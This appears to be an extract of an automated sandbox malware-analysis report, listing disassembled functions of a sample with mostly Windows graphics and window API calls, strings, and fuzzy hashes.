Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$ClipCreate$InflatePolygonSelect$DeleteEmptyIntersectObjectOffset
String ID: gfff
API String ID: 1105800552-1553575800
Opcode ID: 6e069ad32961d296e61852fa55a45b7a29f0bb76203db9ff7d26eb39726842d3
Instruction ID: f7091b7fc561edcd62bfdec1654e89d74b9d8fe9c5f2344dc12cf9858ce72214
Opcode Fuzzy Hash: 6e069ad32961d296e61852fa55a45b7a29f0bb76203db9ff7d26eb39726842d3
Instruction Fuzzy Hash: 54F148B16083419FC324CF29D480B6BFBE5BBC9314F548A2EF98987391DB74A845CB56

Function 0040F620 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMON

Download Yara Rule

APIs

Part of subcall function 0042A200: CreateDIBitmap.GDI32(?,?,00000004,?,?,00000000), ref: 0042A28C
Part of subcall function 0042A200: CreateCompatibleDC.GDI32(?), ref: 0042A29E
Part of subcall function 0042A200: CreateCompatibleDC.GDI32(?), ref: 0042A2A7
Part of subcall function 0042A200: SelectObject.GDI32(00000000,?), ref: 0042A2B6
Part of subcall function 0042A200: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0042A2C9
Part of subcall function 0042A200: SelectObject.GDI32(?,00000000), ref: 0042A2D9
Part of subcall function 0042A200: BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0042A2F9
Part of subcall function 0042A200: SelectObject.GDI32(00000000,?), ref: 0042A305
Part of subcall function 0042A200: DeleteDC.GDI32(00000000), ref: 0042A312
Part of subcall function 0042A200: SelectObject.GDI32(?,?), ref: 0042A31A
Part of subcall function 0042A200: DeleteDC.GDI32(?), ref: 0042A321

__ftol.LIBCMT ref: 0040F745
__ftol.LIBCMT ref: 0040F752
CreateRectRgn.GDI32(00000000,?,00000000,?), ref: 0040F7C4
CombineRgn.GDI32(?,?,8\J,00000004), ref: 0040F7EA
SetRect.USER32(?,00000000,?,?,?), ref: 0040F836
IntersectRect.USER32(?,?,?), ref: 0040F84E
IsRectEmpty.USER32(?), ref: 0040F879
CreateRectRgn.GDI32(00000000,?,?,00000000), ref: 0040F91E
CombineRgn.GDI32(?,?,8\J,00000004), ref: 0040F944

Strings

8\J, xrefs: 0040F7DB, 0040F7E7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Create$Rect$ObjectSelect$Compatible$BitmapCombineDelete__ftol$EmptyIntersect
String ID: 8\J
API String ID: 909876544-1430181868
Opcode ID: 50f24961c2aea5426d1b514b2710b14a5caa40f3e338bd71aba2b11c915a822c
Instruction ID: 9151dd104e1fb3f56ac6108907f1005620d65da22a5aa8d8784fcf3f6196d91d
Opcode Fuzzy Hash: 50f24961c2aea5426d1b514b2710b14a5caa40f3e338bd71aba2b11c915a822c
Instruction Fuzzy Hash: 56A16CB16083419FC324DF69C884A5BBBE5FBC8744F508A3DF59593290EB74E848CB56

Function 00433D80 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

CopyRect.USER32(?,00000000), ref: 00433DF7
IsRectEmpty.USER32(?), ref: 00433E02
GetClientRect.USER32(00000000,?), ref: 00433E41
DPtoLP.GDI32(?,?,00000002), ref: 00433E53
LPtoDP.GDI32(?,?,00000002), ref: 00433E90
CreateRectRgnIndirect.GDI32(?), ref: 00433EA8
OffsetRect.USER32(?,?,?), ref: 00433ECD
LPtoDP.GDI32(?,?,00000002), ref: 00433EDF

Part of subcall function 00498A30: __EH_prolog.LIBCMT ref: 00498A35
Part of subcall function 00498A30: CreatePen.GDI32(?,?,?), ref: 00498A58

Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F

Part of subcall function 00497FDB: GetStockObject.GDI32(?), ref: 00497FE4
Part of subcall function 00497FDB: SelectObject.GDI32(0040B5D5,00000000), ref: 00497FFE
Part of subcall function 00497FDB: SelectObject.GDI32(0040B5D5,00000000), ref: 00498009

Part of subcall function 0049814F: SetROP2.GDI32(?,?), ref: 00498168
Part of subcall function 0049814F: SetROP2.GDI32(?,?), ref: 00498176

Rectangle.GDI32(?,?,?,?,?), ref: 00433F53

Part of subcall function 00498444: SelectClipRgn.GDI32(?,00000000), ref: 00498466
Part of subcall function 00498444: SelectClipRgn.GDI32(?,?), ref: 0049847C

Part of subcall function 00498A1A: DeleteObject.GDI32(00000000), ref: 00498A29

Part of subcall function 0049878D: __EH_prolog.LIBCMT ref: 00498792
Part of subcall function 0049878D: ReleaseDC.USER32(?,00000000), ref: 004987B1

Strings

0bCv, xrefs: 00433EA8

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ObjectSelect$Rect$ClipCreateH_prolog$ClientCopyDeleteEmptyIndirectOffsetRectangleReleaseStock
String ID: 0bCv
API String ID: 2841338838-4161728572
Opcode ID: 5bb7a1cfa2fd30cc48be47a5cbc612677e2b9efb4b9a33f29dd231f699a1608c
Instruction ID: ef0df91876d7e7dbd41dff549e6521f4b2e7e62c33f11b6ea4c6a5976b486b79
Opcode Fuzzy Hash: 5bb7a1cfa2fd30cc48be47a5cbc612677e2b9efb4b9a33f29dd231f699a1608c
Instruction Fuzzy Hash: 79617E711083409FC714DF69C885E6BBBE9EFC9718F008A1DF59683291DB78E908CB56

Function 00492B4C Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00492B51
GetSystemMetrics.USER32(0000002A), ref: 00492C02
GlobalLock.KERNEL32(?), ref: 00492C8C
CreateDialogIndirectParamA.USER32(?,?,?,Function_00092994,00000000), ref: 00492CBE

Strings

Helv, xrefs: 00492C36
MS Sans Serif, xrefs: 00492C23
MS Shell Dlg, xrefs: 00492C10

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CreateDialogGlobalH_prologIndirectLockMetricsParamSystem
String ID: Helv$MS Sans Serif$MS Shell Dlg
API String ID: 2364537584-2894235370
Opcode ID: e91658bb632d465a6e1a25c78bd7128c682f790c68e5fbb1ee8467a9fdf939ed
Instruction ID: e2662bf7ee6c971b9be304c098b8737f12afb8dc2fe25f8b3c35c63be98bfd95
Opcode Fuzzy Hash: e91658bb632d465a6e1a25c78bd7128c682f790c68e5fbb1ee8467a9fdf939ed
Instruction Fuzzy Hash: 9861607190020AEFCF15EFA4D985AAEBFB1FF04314F20457FE501A62A1D7789A41CB99

Function 0043E2F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 130windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E30B

Part of subcall function 00496171: EnableWindow.USER32(?,00000000), ref: 0049617F

Part of subcall function 00495EED: GetDlgItem.USER32(?,?), ref: 00495EFB

SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E345
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E35C
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E3AD
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E3E7
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E414
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0043E44A

Strings

p!L, xrefs: 0043E419
d!L, xrefs: 0043E420
|!L, xrefs: 0043E3F3

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend$EnableItemWindow
String ID: d!L$p!L$|!L
API String ID: 607626308-1381671666
Opcode ID: 22907d5f71a956538b882653bc380910890e48f703cd5205b9e81c86950ce24d
Instruction ID: 23f96c36c6037a880c7bd48a4e4a191f019c60551d9ce14089d9267f1ffe447f
Opcode Fuzzy Hash: 22907d5f71a956538b882653bc380910890e48f703cd5205b9e81c86950ce24d
Instruction Fuzzy Hash: 3631A135380B0067EE39A2368C97FAF26659BC5B04F11082EB3169F2C2DDA9A901C31C

Function 0044CC60 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

GetTextExtentPoint32A.GDI32(?,?,?,00000090), ref: 0044CCDF
GetTextExtentPoint32A.GDI32(?,?,?,00000090), ref: 0044CD04
GetWindowRect.USER32(?,?), ref: 0044CD8E
SetRect.USER32(00000080,?,?,?,?), ref: 0044CDC3
SetRect.USER32(00000070,?,?,?,?), ref: 0044CE08
SetRect.USER32(00000060,?,?,?,?), ref: 0044CE7B
GetSystemMetrics.USER32(00000001), ref: 0044CEA6
GetSystemMetrics.USER32(00000000), ref: 0044CEAC
OffsetRect.USER32(00000080,00000000,00000000), ref: 0044CEC4
OffsetRect.USER32(00000080,00000000,00000000), ref: 0044CED2
OffsetRect.USER32(00000080,00000000,00000000), ref: 0044CEE4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Offset$ExtentMetricsPoint32SystemText$Window
String ID:
API String ID: 1551820068-0
Opcode ID: 7d08aad0208390665bfdf3b2d7a6130849817184f4df4deb85ad1dc9766aa446
Instruction ID: 0e1ceabf3aa2542e42e56ef2fa1f2f3fddbcc6126472d8de0f9adbfec8e8562c
Opcode Fuzzy Hash: 7d08aad0208390665bfdf3b2d7a6130849817184f4df4deb85ad1dc9766aa446
Instruction Fuzzy Hash: 69913571200B059FE318CF29C985E6AF7EAFB88700F148A2DA95AC7754EB74FC058B54

Function 0043F200 Relevance: 16.7, APIs: 11, Instructions: 185windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0043F22E
FillRect.USER32(?,?,00000000), ref: 0043F28E
FillRect.USER32(?,?,00000000), ref: 0043F2FE

Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2

FillRect.USER32(?,?,00000000), ref: 0043F375
CreateCompatibleDC.GDI32(?), ref: 0043F39D
SelectObject.GDI32(00000000,?), ref: 0043F3B3
SetStretchBltMode.GDI32(?,00000000), ref: 0043F3E5
StretchBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0043F418
BitBlt.GDI32(?,00000000,?,?,?,00000000,00000000,00000000,00CC0020), ref: 0043F443
SelectObject.GDI32(00000000,?), ref: 0043F44F
DeleteDC.GDI32(00000000), ref: 0043F45C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Fill$CreateObjectSelectStretch$BrushClientCompatibleDeleteH_prologModeSolid
String ID:
API String ID: 1645634290-0
Opcode ID: 0c037a304fa2b833020707b2e0d6aca9292d2861c8dee61a0766d9fcd5fbf677
Instruction ID: d21dd1da96717ad3d88db9a811aa52dbd6cce4e72037934075d11b26faa32ebe
Opcode Fuzzy Hash: 0c037a304fa2b833020707b2e0d6aca9292d2861c8dee61a0766d9fcd5fbf677
Instruction Fuzzy Hash: C8612F75204741EFD724DF65C994F6BB7E8EB99704F00892EF95A83250DB38E809CB29

Function 004158B0 Relevance: 16.7, APIs: 11, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetCurrentObject.GDI32(?,00000001), ref: 004158E9
GetCurrentObject.GDI32(?,00000002), ref: 00415933
GetCurrentObject.GDI32(?,00000006), ref: 0041597D
GetTextColor.GDI32(?), ref: 004159BC
GetBkMode.GDI32(?), ref: 004159E6
GetBkColor.GDI32(?), ref: 00415A05
GetBkMode.GDI32(?), ref: 00415A28
GetBkColor.GDI32(?), ref: 00415A47
GetROP2.GDI32(?), ref: 00415A6F
GetStretchBltMode.GDI32(?), ref: 00415A90
GetPolyFillMode.GDI32(?), ref: 00415ABC

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Mode$ColorCurrentObject$FillPolyStretchText
String ID:
API String ID: 544274770-0
Opcode ID: fb2e0e159abf94d4b17cc1c56abd54d15f8a65e16c4cc91d73df34ebffdbd66e
Instruction ID: d036f0dd631d2c47a2b6fbec2a9a6710e364d5eaaacdc952b5faba5e3386c866
Opcode Fuzzy Hash: fb2e0e159abf94d4b17cc1c56abd54d15f8a65e16c4cc91d73df34ebffdbd66e
Instruction Fuzzy Hash: 57516C71210E01DBC764DB64C889BEBB3A5EFC5711F144A1EE2AF87260DB34B885CB59

Function 0043C600 Relevance: 16.6, APIs: 11, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

GetClientRect.USER32(?,?), ref: 0043C63D
CreateCompatibleBitmap.GDI32 ref: 0043C672
CreateCompatibleDC.GDI32(?), ref: 0043C6A2

Part of subcall function 00497FC4: SelectObject.GDI32(?,?), ref: 00497FCC

PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 0043C6DA
GetObjectA.GDI32(00000000,00000018,?), ref: 0043C6F5
CreateCompatibleDC.GDI32(?), ref: 0043C700
SelectObject.GDI32(00000000,00000000), ref: 0043C710
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0043C733
SelectObject.GDI32(00000000,?), ref: 0043C73F
DeleteDC.GDI32(00000000), ref: 0043C742
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0043C76B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Object$CompatibleCreateSelect$BeginBitmapClientDeleteH_prologPaintRect
String ID:
API String ID: 1593221388-0
Opcode ID: 3d7b520441cf48d5d9cd6b35ef350e761c857a829f05736c4c80cb306786784e
Instruction ID: 01fa0307d2cd647b49412a4e70aa34649f522d0086c8ebb69fb566ed2016a5dd
Opcode Fuzzy Hash: 3d7b520441cf48d5d9cd6b35ef350e761c857a829f05736c4c80cb306786784e
Instruction Fuzzy Hash: 6C515071208381AFD710DF68DC85F6BBBE8EBCA704F04492DF69593291D778A804CB66

Function 00426F90 Relevance: 15.3, APIs: 10, Instructions: 288COMMON

Download Yara Rule

APIs

CreateSolidBrush.GDI32(00FFFFFF), ref: 004270EF
GetWindowRect.USER32(?), ref: 00427119
GetStockObject.GDI32(00000005), ref: 00427147
LoadCursorA.USER32(00000000,00007F00), ref: 00427155
GetWindowRect.USER32(?,?), ref: 004271C3
GetWindowRect.USER32(?,?), ref: 004271D4
GetWindowRect.USER32(?,?), ref: 004271E9
GetSystemMetrics.USER32(00000001), ref: 004271FF
GetWindowRect.USER32(?,?), ref: 0042728A
OffsetRect.USER32(?,00000000,00000001), ref: 004272A4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Window$BrushCreateCursorLoadMetricsObjectOffsetSolidStockSystem
String ID:
API String ID: 3805611468-0
Opcode ID: f0c2168e2a7daa2120b0d833e2290657dba886ff2cb028b8175eb551433970f5
Instruction ID: 879f409cbacc16841326f38a8c9481ce60d8ca41f9652bfb376aa035f8e1b749
Opcode Fuzzy Hash: f0c2168e2a7daa2120b0d833e2290657dba886ff2cb028b8175eb551433970f5
Instruction Fuzzy Hash: 8DA1AE703047019FDB24DF65C886F6BBBE5AB84708F10492EF16687381EB79E805CB59

Function 00414A80 Relevance: 15.2, APIs: 10, Instructions: 198windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B

GetClientRect.USER32(?,?), ref: 00414ACE
IntersectRect.USER32(?,?,?), ref: 00414AE6
IsRectEmpty.USER32(?), ref: 00414B16
GetObjectA.GDI32(?,00000018,?), ref: 00414B4D
CreateCompatibleDC.GDI32(?), ref: 00414B73
IntersectRect.USER32(?,?,?), ref: 00414BC8
IsRectEmpty.USER32(?), ref: 00414BD3
BitBlt.GDI32(?,?,?,?,?,?,?,?,00CC0020), ref: 00414C11
DPtoLP.GDI32(?,?,00000002), ref: 00414C96
IsWindow.USER32(?), ref: 00414CF8

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
